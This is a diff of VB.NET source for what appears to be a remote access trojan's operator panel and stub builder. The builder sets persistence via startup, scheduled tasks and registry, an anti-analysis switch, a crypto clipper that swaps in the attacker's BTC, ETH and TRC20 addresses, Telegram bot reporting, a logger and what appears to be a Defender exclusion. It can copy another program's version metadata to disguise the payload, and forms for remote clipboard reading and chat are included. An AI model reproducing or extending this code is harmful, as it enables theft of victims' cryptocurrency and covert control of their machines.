|
||||
If Guna2CheckBox6.Checked = True Then
|
||||
Source = Replace(Source, "#Const Startup = False", "#Const Startup = True")
|
||||
End If
|
||||
|
||||
If Guna2CheckBox7.Checked = True Then
|
||||
Source = Replace(Source, "#Const Schtasks = False", "#Const Schtasks = True")
|
||||
End If
|
||||
|
||||
If Guna2CheckBox5.Checked = True Then
|
||||
Source = Replace(Source, "#Const RegAdd = False", "#Const RegAdd = True")
|
||||
End If
|
||||
|
||||
If Guna2ToggleSwitch1.Checked = True Then
|
||||
Source = Replace(Source, "#Const Analysis = False", "#Const Analysis = True")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||||
Source = Replace(Source, "%Path%", Encrypt(Guna2ComboBox2.Text, randomString))
|
||||
Source = Replace(Source, "%Name%", Encrypt(Guna2TextBox5.Text, randomString))
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch6.Checked = True Then
|
||||
Source = Replace(Source, "#Const Clipper = False", "#Const Clipper = True")
|
||||
Source = Replace(Source, "%BTC%", Encrypt(BTC, randomString))
|
||||
Source = Replace(Source, "%ETH%", Encrypt(ETH, randomString))
|
||||
Source = Replace(Source, "%Trc20%", Encrypt(TRC20, randomString))
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch5.Checked = True Then
|
||||
Source = Replace(Source, "#Const TelegramBot = False", "#Const TelegramBot = True")
|
||||
Source = Replace(Source, "%Token%", Encrypt(BotToken, randomString))
|
||||
Source = Replace(Source, "%ChatID%", Encrypt(Botid, randomString))
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch2.Checked = True Then
|
||||
Source = Replace(Source, "#Const Logger = False", "#Const Logger = True")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
If Guna2ToggleSwitch3.Checked = True Then
|
||||
Source = Replace(Source, "#Const BDOS = False", "#Const BDOS = True")
|
||||
End If
|
||||
|
||||
|
||||
If Guna2ToggleSwitch4.Checked = True Then
|
||||
Source = Replace(Source, "#Const WDEX = False", "#Const WDEX = True")
|
||||
End If
|
||||
|
||||
|
||||
|
||||
|
||||
If Guna2CheckBox1.Checked Then
|
||||
Dim info As FileVersionInfo = FileVersionInfo.GetVersionInfo(assm)
|
||||
|
||||
|
||||
Source = Replace(Source, "%Title%", info.FileDescription)
|
||||
Source = Replace(Source, "%Des%", info.Comments)
|
||||
Source = Replace(Source, "%Company%", info.CompanyName)
|
||||
Source = Replace(Source, "%Product%", info.ProductName)
|
||||
Source = Replace(Source, "%Copyright%", info.LegalCopyright)
|
||||
Source = Replace(Source, "%Trademark%", info.LegalTrademarks)
|
||||
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
||||
|
||||
|
||||
Source = Source.Replace("%v1%", info.FileMajorPart.ToString())
|
||||
Source = Source.Replace("%v2%", info.FileMinorPart.ToString())
|
||||
Source = Source.Replace("%v3%", info.FileBuildPart.ToString())
|
||||
Source = Source.Replace("%v4%", info.FilePrivatePart.ToString())
|
||||
|
||||
Else
|
||||
|
||||
Source = Replace(Source, "%Title%", Nothing)
|
||||
Source = Replace(Source, "%Des%", Nothing)
|
||||
Source = Replace(Source, "%Company%", Nothing)
|
||||
Source = Replace(Source, "%Product%", Nothing)
|
||||
Source = Replace(Source, "%Copyright%", Nothing)
|
||||
Source = Replace(Source, "%Trademark%", Nothing)
|
||||
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
||||
|
||||
|
||||
Source = Source.Replace("%v1%", 1)
|
||||
Source = Source.Replace("%v2%", 0)
|
||||
Source = Source.Replace("%v3%", 0)
|
||||
Source = Source.Replace("%v4%", 0)
|
||||
End If
|
||||
|
||||
Compiler(saveFileDialog.FileName, Source)
|
||||
End If
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ToggleSwitch5_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch5.MouseClick
|
||||
|
||||
If Guna2ToggleSwitch5.Checked = True Then
|
||||
Using form As TabNotify = New TBotNotify
|
||||
form.StartPosition = FormStartPosition.Manual
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
BotToken = form.Guna2TextBox1.Text
|
||||
Botid = form.Guna2TextBox2.Text
|
||||
Else
|
||||
Guna2ToggleSwitch5.Checked = False
|
||||
BotToken = Nothing
|
||||
Botid = Nothing
|
||||
End If
|
||||
End Using
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ToggleSwitch6_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch6.MouseClick
|
||||
If Guna2ToggleSwitch6.Checked = True Then
|
||||
Using form As Clipper = New Clipper
|
||||
form.StartPosition = FormStartPosition.Manual
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
BTC = form.Guna2TextBox1.Text
|
||||
ETH = form.Guna2TextBox2.Text
|
||||
TRC20 = form.Guna2TextBox3.Text
|
||||
Else
|
||||
Guna2ToggleSwitch6.Checked = False
|
||||
BTC = Nothing
|
||||
ETH = Nothing
|
||||
TRC20 = Nothing
|
||||
End If
|
||||
End Using
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_IconRightClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconRightClick
|
||||
Try
|
||||
If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||||
If Not ListBox1.Items.Contains(Guna2TextBox2.Text) Then
|
||||
ListBox1.Items.Add(Guna2TextBox2.Text)
|
||||
Guna2TextBox2.Clear()
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox2_IconLeftClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconLeftClick
|
||||
Try
|
||||
ListBox1.Items.Remove(ListBox1.SelectedItem)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+102
@@ -0,0 +1,102 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Chat
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Chat))
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = ""
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2TextBox2.Multiline = True
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.ReadOnly = True
|
||||
Guna2TextBox2.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(460, 268)
|
||||
Guna2TextBox2.TabIndex = 53
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.Dock = System.Windows.Forms.DockStyle.Bottom
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(0, 268)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(460, 21)
|
||||
Guna2TextBox1.TabIndex = 52
|
||||
'
|
||||
'Chat
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(460, 289)
|
||||
Controls.Add(Guna2TextBox2)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Chat"
|
||||
Text = "Chat"
|
||||
ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,50 @@
|
||||
Imports System.Threading
|
||||
Public Class Chat
|
||||
|
||||
Public C As Client
|
||||
Public chatE As Boolean
|
||||
Public Nickname As String
|
||||
Private Sub Chat_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Dim nick As String = Interaction.InputBox("NICKNAME", "CLIENT CHAT", "Admin")
|
||||
|
||||
If String.IsNullOrEmpty(nick) Then
|
||||
Close()
|
||||
Else
|
||||
Nickname = nick
|
||||
Try
|
||||
Dim B As Byte() = SB("plugin" & SettingsHelper.SPL & GetChecksum("Plugins\Chat.dll"))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Catch ex As Exception
|
||||
MessageBox.Show(ex.Message)
|
||||
End Try
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Chat_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("ENDChat")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
||||
If chatE AndAlso e.KeyData = Keys.Enter AndAlso Not String.IsNullOrWhiteSpace(Guna2TextBox1.Text) Then
|
||||
e.SuppressKeyPress = True
|
||||
Guna2TextBox2.Text &= "ME: " & Guna2TextBox1.Text & Environment.NewLine
|
||||
Dim B As Byte() = SB("GETChat" & SettingsHelper.SPL & Nickname & ": " & Guna2TextBox1.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Guna2TextBox2.SelectionStart = Guna2TextBox2.Text.Length
|
||||
Guna2TextBox2.ScrollToCaret()
|
||||
Guna2TextBox2.Refresh()
|
||||
Guna2TextBox1.Clear()
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+124
@@ -0,0 +1,124 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Clipboard
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Clipboard))
|
||||
RichTextBox1 = New System.Windows.Forms.RichTextBox()
|
||||
Guna2ContextMenuStrip2 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
GetTextToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
SetTextToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CopyToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ToolStripMenuItem7 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Guna2ContextMenuStrip2.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'RichTextBox1
|
||||
'
|
||||
RichTextBox1.BackColor = System.Drawing.Color.White
|
||||
RichTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
RichTextBox1.ContextMenuStrip = Guna2ContextMenuStrip2
|
||||
RichTextBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
RichTextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
RichTextBox1.ForeColor = System.Drawing.Color.Black
|
||||
RichTextBox1.Location = New System.Drawing.Point(0, 0)
|
||||
RichTextBox1.Name = "RichTextBox1"
|
||||
RichTextBox1.Size = New System.Drawing.Size(412, 256)
|
||||
RichTextBox1.TabIndex = 1
|
||||
RichTextBox1.Text = ""
|
||||
'
|
||||
'Guna2ContextMenuStrip2
|
||||
'
|
||||
Guna2ContextMenuStrip2.Items.AddRange(New System.Windows.Forms.ToolStripItem() {GetTextToolStripMenuItem, SetTextToolStripMenuItem, CopyToolStripMenuItem1, ToolStripMenuItem7})
|
||||
Guna2ContextMenuStrip2.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip2.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip2.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip2.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip2.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip2.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip2.Size = New System.Drawing.Size(181, 114)
|
||||
'
|
||||
'GetTextToolStripMenuItem
|
||||
'
|
||||
GetTextToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
GetTextToolStripMenuItem.Image = CType(resources.GetObject("GetTextToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
GetTextToolStripMenuItem.Name = "GetTextToolStripMenuItem"
|
||||
GetTextToolStripMenuItem.Size = New System.Drawing.Size(180, 22)
|
||||
GetTextToolStripMenuItem.Text = "[ Get Text ]"
|
||||
'
|
||||
'SetTextToolStripMenuItem
|
||||
'
|
||||
SetTextToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
SetTextToolStripMenuItem.Image = CType(resources.GetObject("SetTextToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
SetTextToolStripMenuItem.Name = "SetTextToolStripMenuItem"
|
||||
SetTextToolStripMenuItem.Size = New System.Drawing.Size(180, 22)
|
||||
SetTextToolStripMenuItem.Text = "[ Set Text ]"
|
||||
'
|
||||
'CopyToolStripMenuItem1
|
||||
'
|
||||
CopyToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
CopyToolStripMenuItem1.Image = CType(resources.GetObject("CopyToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
CopyToolStripMenuItem1.Name = "CopyToolStripMenuItem1"
|
||||
CopyToolStripMenuItem1.Size = New System.Drawing.Size(180, 22)
|
||||
CopyToolStripMenuItem1.Text = "[ Copy ]"
|
||||
'
|
||||
'ToolStripMenuItem7
|
||||
'
|
||||
ToolStripMenuItem7.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem7.Image = CType(resources.GetObject("ToolStripMenuItem7.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem7.Name = "ToolStripMenuItem7"
|
||||
ToolStripMenuItem7.Size = New System.Drawing.Size(180, 22)
|
||||
ToolStripMenuItem7.Text = "[ Clear ]"
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Clipboard
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(412, 256)
|
||||
Controls.Add(RichTextBox1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Clipboard"
|
||||
Text = "Clipboard"
|
||||
Guna2ContextMenuStrip2.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents RichTextBox1 As RichTextBox
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Guna2ContextMenuStrip2 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents GetTextToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents SetTextToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents CopyToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents ToolStripMenuItem7 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,59 @@
|
||||
Imports System.Threading
|
||||
Public Class Clipboard
|
||||
|
||||
Public C As Client
|
||||
Private Sub CB_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Clipboard()
|
||||
End Sub
|
||||
|
||||
Public Sub Clipboard()
|
||||
Dim B As Byte() = SB("GetClipboard")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub RichTextBox1_LinkClicked(sender As Object, e As LinkClickedEventArgs) Handles RichTextBox1.LinkClicked
|
||||
Try
|
||||
Process.Start(e.LinkText)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Clipboard_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseClipboard")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub GetTextToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetTextToolStripMenuItem.Click
|
||||
Clipboard()
|
||||
End Sub
|
||||
|
||||
Private Sub SetTextToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SetTextToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("SetClipboard" & SettingsHelper.SPL & RichTextBox1.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
|
||||
Try
|
||||
Windows.Forms.Clipboard.SetText(RichTextBox1.SelectedText)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click
|
||||
RichTextBox1.Clear()
|
||||
Dim B As Byte() = SB("ClearClipboard")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+186
@@ -0,0 +1,186 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Clipper
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Clipper))
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox3 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(24, 17)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(33, 13)
|
||||
Label1.TabIndex = 0
|
||||
Label1.Text = "BTC :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(24, 45)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(33, 13)
|
||||
Label2.TabIndex = 1
|
||||
Label2.Text = "ETH :"
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(11, 71)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(46, 13)
|
||||
Label3.TabIndex = 2
|
||||
Label3.Text = "TRC20 :"
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(63, 95)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(259, 27)
|
||||
Guna2GradientButton1.TabIndex = 55
|
||||
Guna2GradientButton1.Text = "Ok"
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
